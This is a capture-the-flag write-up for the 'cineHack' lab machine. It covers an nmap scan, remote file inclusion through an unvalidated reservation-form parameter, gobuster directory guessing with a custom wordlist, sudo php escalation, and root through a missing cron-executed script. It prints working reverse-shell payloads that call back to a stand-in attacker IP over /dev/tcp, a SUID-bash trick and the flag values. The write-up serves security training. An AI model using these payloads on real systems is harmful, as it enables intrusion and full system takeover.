Skip to main content

cineHack

export TARGET_IP=172.17.0.2
nmap -p0- $TARGET_IP
PORT   STATE SERVICE
80/tcp open  http

Hostname Discovery​

The website's title, "Bienvenidos a Cinema DL," suggested a potential hostname of cinema.dl. This was confirmed and added to the local /etc/hosts file for convenient access.

echo "$TARGET_IP   cinema.dl" | sudo tee -a /etc/hosts

Vulnerability Analysis​

Feature Exploration: Reservation System​

The Cinema DL website features a movie reservation system. The reservation process involves a form that submits user data to the server via an HTTP POST request to /reservation.php.

Request Interception and Analysis​

The HTTP request generated by the reservation form was intercepted and analyzed using Burp Suite.

Captured Request (Decoded):

POST /reservation.php HTTP/1.1
Host: cinema.dl
Content-Length: 136
[... other headers omitted for brevity ...]

name=Juan Pérez&email=juanperez@example.com&phone=+34 600 123 456&problem_url=http://tusitio.com/uploads/webshell.php

Suspected Vulnerability: Unvalidated problem_url Parameter​

The problem_url parameter immediately stood out. It accepted a URL as input, raising concerns about potential vulnerabilities stemming from insufficient input validation. The following vulnerabilities were hypothesized:

  • Remote File Inclusion (RFI): The application might attempt to include and execute a file from the provided URL.
  • Server-Side Request Forgery (SSRF): The server could be tricked into making requests to arbitrary URLs on its behalf.
  • Arbitrary File Upload: The URL might be used as a file upload path, allowing malicious file uploads to the server.

Exploitation: Confirming and Leveraging the Vulnerability​

Hypothesis: Arbitrary File Upload​

Based on the structure of the request, it was suspected that the problem_url parameter could be exploited for arbitrary file uploads, potentially leading to remote code execution.

Payload Design: PHP Reverse Shell​

To test the hypothesis, a simple PHP reverse shell was crafted:

webshell.php
<?php
  exec("/bin/bash -c 'bash -i >& /dev/tcp/YOUR_ATTACKER_IP/YOUR_ATTACKER_PORT 0>&1'");
?>

Explanation: This script, when executed on the server, establishes a reverse shell connection back to the attacker's machine (replace YOUR_ATTACKER_IP and YOUR_ATTACKER_PORT accordingly). It redirects standard input, output, and error streams to a TCP socket, granting interactive shell access.

Test Environment Setup​

  1. Web Server: A temporary web server was started using Python to host the reverse shell payload (webshell.php).

    # Ensure the directory /uploads/ exists before running
    python3 -m http.server 8000

  2. Netcat Listener: A netcat listener was set up on the attacker's machine to receive the reverse shell connection.

    rlwrap nc -lvnp YOUR_ATTACKER_PORT

    rlwrap stands for "Readline Wrapper." It's a utility that acts as a "wrapper" around other commands, providing them with the powerful features of the GNU Readline library. The Readline library is what gives many interactive programs (like your regular Bash shell) their advanced line-editing and history capabilities.

Directory Enumeration: A Twist​

Initial attempts to locate a standard /uploads directory were unfruitful. Drawing inspiration from similar scenarios, it was hypothesized that the target directory's name might be related to the actors in the movie featured on the reservation page, "El tiempo que tenemos."

Directory Discovery Strategy:​

  1. Actor Name Research: A list of actors from the movie "El tiempo que tenemos" was compiled.

  2. Wordlist Generation: The actor names were formatted into a wordlist for automated directory brute-forcing. This list included names like "florencepugh," "gracedelaney," and "andrewgarfield."

  3. Automated Brute-Forcing: The gobuster tool was used with the custom wordlist to scan for potential directories.

    gobuster dir -u http://cinema.dl -w actor_dirs.txt

Successful Discovery:​

/andrewgarfield       (Status: 301) [Size: 315] [--> http://cinema.dl/andrewgarfield/]

This revealed a non-standard directory named /andrewgarfield, likely writable and accessible.

Triggering the Exploit​

  1. Modified Request: The problem_url parameter in the intercepted POST request to /reservation.php was modified to point to the hosted webshell.php on the attacker's server:

    http://cinema.dl/reservation.php?problem_url=http://10.0.2.15:8000/uploads/webshell.php

  2. Server Response: The attacker's web server logs confirmed that the target server requested the webshell.php file:

    Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
    172.17.0.2 - - [21/Jan/2025 06:37:42] "GET /uploads/webshell.php HTTP/1.1" 200 -

  3. Verification: Accessing http://cinema.dl/andrewgarfield/webshell.php in a browser triggered the reverse shell. The netcat listener on the attacker's machine received a connection, confirming successful remote code execution.

Privilege Escalation​

The initial foothold provided limited access as the www-data user. To elevate privileges, we explored the system for potential escalation vectors.

Identifying Sudo Permissions​

We began by listing the commands that www-data could execute with elevated privileges using sudo:

sudo -l

Output:

Matching Defaults entries for www-data on dockerlabs:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin,
    use_pty

User www-data may run the following commands on dockerlabs:
    (boss) NOPASSWD: /bin/php

Interpretation:

The output reveals that www-data can execute /bin/php as the user boss without requiring a password. This presents a potential avenue for privilege escalation to the boss user.

Escalating to 'boss' User​

Leveraging the identified sudo permission, we executed a PHP command to spawn a shell as the boss user:

sudo -u boss /bin/php -r 'system("/bin/bash");'

Explanation:

  • sudo -u boss: Executes the command as the boss user.
  • /bin/php: The allowed binary.
  • -r 'system("/bin/bash");': Executes a single line of PHP code that uses the system() function to spawn a Bash shell.

We then verified our escalated privileges and captured the user flag:

whoami
cd /home/boss
cat user.txt # 93a85c1e99d62afe15c179d4fd005f40 (user flag)

Analyzing Scheduled Tasks (Cron Jobs)​

To further escalate privileges to root, we investigated scheduled tasks running with root privileges. Cron jobs are a common target for privilege escalation, as they often execute scripts with elevated permissions.

We inspected the root user's crontab:

cat /var/spool/cron/crontabs/root

Output:

#!/bin/bash

# ... (comments omitted for brevity) ...

# m h  dom mon dow   command

#*/1 * * * * chmod +r /var/spool/cron/crontabs/root
/opt/update.sh
/tmp/script.sh

Interpretation:

  • The crontab executes two scripts every minute: /opt/update.sh and /tmp/script.sh.

Investigating /opt/update.sh

We examined the contents of /opt/update.sh:

cat /opt/update.sh

Output:

update.sh
#!/bin/bash

# Comprobar si el usuario 'boss' tiene algún proceso en ejecución
# También buscar procesos asociados a "script" o shells indirectas
if pgrep -u boss > /dev/null; then
    # Mostrar procesos activos del usuario boss para depuración (opcional)
    echo "Procesos activos del usuario boss:"
    ps -u boss

    # Matar todos los procesos del usuario 'boss' incluyendo 'script'
    pkill -u boss
    pkill -9 -f "script"

    # Confirmar que los procesos fueron terminados
    if pgrep -u boss > /dev/null; then
        echo "No se pudieron terminar todos los procesos del usuario boss."
    else
        echo "El usuario boss ha sido desconectado por seguridad."
    fi
else
    echo "El usuario boss no está conectado."
fi

Analysis:

  • This script checks if the boss user has any running processes.
  • If boss has active processes, it terminates them using pkill.
  • It also attempts to forcefully kill any process containing the string "script" in its command line using pkill -9 -f "script".
  • It is designed to log the user out for security reasons if it is found logged in.

Identifying the Missing Script: /tmp/script.sh

We attempted to view the contents of /tmp/script.sh, but it was not found:

ls -l /tmp/script.sh
# Output: ls: cannot access '/tmp/script.sh': No such file or directory

Observation:

The absence of /tmp/script.sh is significant. Since this script is executed by the root crontab every minute, creating it with our own malicious code could lead to code execution as root.

Verifying Cron Job Execution

We monitored the processes related to the root crontab to confirm its execution:

ps aux | grep /var/spool/cron/crontabs/

Output (Sample):

root           1  0.0  0.0   2800  1588 ?        Ss   10:54   0:00 /bin/sh -c service apache2 start && service cron start && while true; do /var/spool/cron/crontabs/root.sh; sleep 60; done
boss        1376  0.0  0.0   3528  1760 ?        S    13:38   0:00 grep /var/spool/cron/crontabs/

Confirmation:

The output shows a process running /var/spool/cron/crontabs/root.sh within a loop, confirming that the cron job is active and executing every 60 seconds.

Exploiting the Missing Script for Root Privilege Escalation​

Since /tmp/script.sh is executed by root every minute, and we can create it, we can insert a payload to gain root privileges.

Payload Creation: Alternative 1​

We created /tmp/script.sh with the following content:

echo '#!/bin/bash
/bin/bash -p > /dev/tcp/YOUR_ATTACKER_IP/YOUR_ATTACKER_PORT 0>&1' > /tmp/script.sh && chmod +x /tmp/script.sh
rlwrap nc -lvnp YOUR_ATTACKER_PORT

A netcat listener was set up on the attacker's machine to receive the reverse shell connection. Within a minute, the cron job executed our malicious script, and the netcat listener received a connection from the target machine, providing a root shell.

Explanation:

  • echo '#!/bin/bash ... 0>&1': This part creates the script content.
    • #!/bin/bash: The shebang to indicate it's a Bash script.
    • /bin/bash -p > /dev/tcp/YOUR_ATTACKER_IP/YOUR_ATTACKER_PORT 0>&1: The reverse shell payload. Remember to replace YOUR_ATTACKER_IP and YOUR_ATTACKER_PORT with your actual attacker IP and port.
  • > /tmp/script.sh: This redirects the output of echo to create the file /tmp/script.sh.
  • &&: This is a command chaining operator. It executes the command on the right-hand side only if the command on the left-hand side was successful.
  • chmod +x /tmp/script.sh: This makes the newly created script executable.

Payload Creation: Alternative 2​

Instead of creating a reverse shell, we can leverage the cron job to directly elevate the privileges of our current boss user session to root. This is a more efficient and often preferred approach in this scenario.

echo '#!/bin/bash
chmod +s /bin/bash' > /tmp/script.sh && chmod +x /tmp/script.sh

Explanation:

  • chmod +s /bin/bash: This command sets the SUID (Set User ID) bit on the /bin/bash executable.
    • SUID Bit: When the SUID bit is set on an executable file, it allows that file to be executed with the privileges of the file's owner (in this case, root, as /bin/bash is typically owned by root) regardless of who runs the file.

How it Works:

  1. The cron job, running as root, executes /tmp/script.sh.
  2. Our script sets the SUID bit on /bin/bash.
  3. Now, any user, including boss, can execute /bin/bash and will effectively have root privileges because of the SUID bit.

Execute bash -p to gain a root shell. The -p option is important here; it ensures that Bash retains the effective UID from the SUID bit, giving you root privileges.

bash -p
whoami # root
id # uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

Capturing the Root Flag

With root privileges, we could now access and retrieve the root flag:

cat /root/root.txt # 687f891cbfd513ac53641755ce0efe5e